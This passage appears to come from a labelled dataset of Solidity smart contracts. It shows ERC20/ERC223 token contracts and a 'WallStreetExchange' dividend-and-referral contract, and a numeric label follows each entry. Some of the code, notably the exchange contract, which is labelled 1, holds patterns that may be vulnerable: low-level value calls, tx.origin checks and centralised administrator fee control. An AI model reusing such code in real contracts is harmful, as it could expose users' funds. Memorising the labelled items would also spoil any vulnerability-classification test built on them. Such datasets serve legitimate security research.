emit Payment(_beneficiary, amount);
} else {
emit FailedPayment(_beneficiary, amount);
}
}
function withdrawFunds(address _beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance);
require (lockedInBets + withdrawAmount <= address(this).balance);
sendFunds(_beneficiary, withdrawAmount);
}
function setPrice(uint newPrice) public onlyOwner {
betAmount = newPrice;
emit NewPrice(newPrice);
}
function setMinAmount(uint amount) public onlyOwner{
minAmount = amount;
}
function canRefund(uint _betId) public constant returns(bool) {
Bet storage bet = bets[_betId];
if(block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS && bet.placeBlockNumber > 0 && bet.amount > 0) {
return true;
} else {
return false;
}
}
} | 0 | 976 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Block-Chain.com Token";
string constant TOKEN_SYMBOL = "BC";
bool constant PAUSED = false;
address constant TARGET_USER = 0x39e1ABc4440A59a54790b7A729812981BbEA4295;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[3] memory addresses = [address(0x93abee979b9094f16082f71c01f60f51e52c78e3),address(0x9daf89767751c56fccaa711cea1bd7d6589cec08),address(0xca9d01465be0fa4b7f5540556283244f49532f8d)];
uint[3] memory amounts = [uint(200000000000000000000000000),uint(30000000000000000000000000),uint(17000000000000000000000000)];
uint64[3] memory freezes = [uint64(0),uint64(1546290002),uint64(1523480401)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,261 |
pragma solidity ^0.4.21;
contract AcceptsExchange {
Exchange public tokenContract;
function AcceptsExchange(address _tokenContract) public {
tokenContract = Exchange(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
contract Exchange {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "WallStreetExchange";
string public symbol = "STOCK";
uint8 constant public decimals = 18;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public totalEthFundRecieved;
uint256 public totalEthFundCollected;
uint256 public stakingRequirement = 25e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 2.5 ether;
uint256 constant internal ambassadorQuota_ = 2.5 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint8 internal dividendFee_ = 20;
uint8 internal fundFee_ = 5;
uint8 internal altFundFee_ = 0;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
mapping(address => bool) public canAcceptTokens_;
mapping(address => address) public stickyRef;
address public bondFundAddress = 0x1822435de9b923a7a8c4fbd2f6d0aa8f743d3010;
address public altFundAddress = 0x1822435de9b923a7a8c4fbd2f6d0aa8f743d3010;
function Exchange()
public
{
administrators[msg.sender] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
require(tx.gasprice <= 0.05 szabo);
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
require(tx.gasprice <= 0.05 szabo);
purchaseTokens(msg.value, 0x0);
}
function payFund() payable public
onlyAdministrator()
{
uint256 _bondEthToPay = 0;
uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved);
require(ethToPay > 1);
uint256 altEthToPay = SafeMath.div(SafeMath.mul(ethToPay,altFundFee_),100);
if (altFundFee_ > 0){
_bondEthToPay = SafeMath.sub(ethToPay,altEthToPay);
} else{
_bondEthToPay = 0;
}
totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay);
if(!bondFundAddress.call.value(_bondEthToPay).gas(400000)()) {
totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, _bondEthToPay);
}
if(altEthToPay > 0){
if(!altFundAddress.call.value(altEthToPay).gas(400000)()) {
totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, altEthToPay);
}
}
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _refPayout = _dividends / 3;
_dividends = SafeMath.sub(_dividends, _refPayout);
(_dividends,) = handleRef(stickyRef[msg.sender], _refPayout, _dividends, 0);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout);
totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) {
require(_to != address(0));
require(canAcceptTokens_[_to] == true);
require(transfer(_to, _value));
if (isContract(_to)) {
AcceptsExchange receiver = AcceptsExchange(_to);
require(receiver.tokenFallback(msg.sender, _value, _data));
}
return true;
}
function isContract(address _addr) private constant returns (bool is_contract) {
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
function setBondFundAddress(address _newBondFundAddress)
onlyAdministrator()
public
{
bondFundAddress = _newBondFundAddress;
}
function setAltFundAddress(address _newAltFundAddress)
onlyAdministrator()
public
{
altFundAddress = _newAltFundAddress;
}
function setFeeRates(uint8 _newDivRate, uint8 _newFundFee, uint8 _newAltRate)
onlyAdministrator()
public
{
dividendFee_ = _newDivRate;
fundFee_ = _newFundFee;
altFundFee_ = _newAltRate;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setCanAcceptTokens(address _address, bool _value)
onlyAdministrator()
public
{
canAcceptTokens_[_address] = _value;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout);
return _taxedEthereum;
}
function etherToSendFund()
public
view
returns(uint256) {
return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved);
}
function purchaseInternal(uint256 _incomingEthereum, address _referredBy)
notContract()
internal
returns(uint256) {
uint256 purchaseEthereum = _incomingEthereum;
uint256 excess;
if(purchaseEthereum > 2.5 ether) {
if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 10 ether) {
purchaseEthereum = 2.5 ether;
excess = SafeMath.sub(_incomingEthereum, purchaseEthereum);
}
}
purchaseTokens(purchaseEthereum, _referredBy);
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function handleRef(address _ref, uint _referralBonus, uint _currentDividends, uint _currentFee) internal returns (uint, uint){
uint _dividends = _currentDividends;
uint _fee = _currentFee;
address _referredBy = stickyRef[msg.sender];
if (_referredBy == address(0x0)){
_referredBy = _ref;
}
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
if (stickyRef[msg.sender] == address(0x0)){
stickyRef[msg.sender] = _referredBy;
}
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus/2);
address currentRef = stickyRef[_referredBy];
if (currentRef != address(0x0) && tokenBalanceLedger_[currentRef] >= stakingRequirement){
referralBalance_[currentRef] = SafeMath.add(referralBalance_[currentRef], (_referralBonus/10)*3);
currentRef = stickyRef[currentRef];
if (currentRef != address(0x0) && tokenBalanceLedger_[currentRef] >= stakingRequirement){
referralBalance_[currentRef] = SafeMath.add(referralBalance_[currentRef], (_referralBonus/10)*2);
}
else{
_dividends = SafeMath.add(_dividends, _referralBonus - _referralBonus/2 - (_referralBonus/10)*3);
_fee = _dividends * magnitude;
}
}
else{
_dividends = SafeMath.add(_dividends, _referralBonus - _referralBonus/2);
_fee = _dividends * magnitude;
}
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
return (_dividends, _fee);
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _fee;
(_dividends, _fee) = handleRef(_referredBy, _referralBonus, _dividends, _fee);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _dividends), _fundPayout);
totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,721 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MintableToken is StandardToken, Ownable {
